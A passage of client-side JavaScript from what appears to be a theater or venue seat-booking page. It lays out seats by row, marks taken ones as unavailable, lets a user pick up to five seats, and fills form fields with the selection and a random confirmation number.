else if (lc == 8 || lc == 10) {
leng = 35;
}
else {
leng = 36;
}
for (k = 1; k <= leng; k++) {
if (seatsTaken.indexOf((" " +
let +k + " ")) <= -1) {
seat = document.getElementById(let +k);
seat.addEventListener("click", selectedSeat);
seat.className = "openseat";
}
else {
document.getElementById(let +k).className = "notAvailible";
document.getElementById(let +k).addEventListener("click", doNothing);
}
}
let = String.fromCharCode(let.charCodeAt(0) + 1);
}
i = " 0 ";
counter = 0;
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
document.getElementById("seatnums").innerHTML = counter;
}
i = document.getElementById("seatString").innerHTML;
counter = document.getElementById("seatnums").innerHTML;
function selectedSeat() {
var w = this.id;
var l = (" " + w);
var b = (" " + w + " ");
if (counter < 5) {
if (i.indexOf(b) <= 0) {
this.className = "closedseat";
i = i + b;
i = i.replace(" 0 ", " ");
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
counter = counter + 1;
document.getElementById("seatnums").innerHTML = counter;
}
else if (i.indexOf(b) > 0) {
this.className = "openseat";
i = i.replace(b, "");
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
counter = counter - 1;
document.getElementById("seatnums").innerHTML = counter;
}
}
else if (i.indexOf(b) > 0) {
this.className = "openseat";
i = i.replace(b, "");
document.getElementById("seatString").innerHTML = i;
document.getElementById("getSeats").value = i;
counter = counter - 1;
document.getElementById("seatnums").innerHTML = counter;
}
}
function doNothing() {
}
var rannum = Math.random() * 1000;
document.getElementById('getConfirmation').value = rannum;
</script>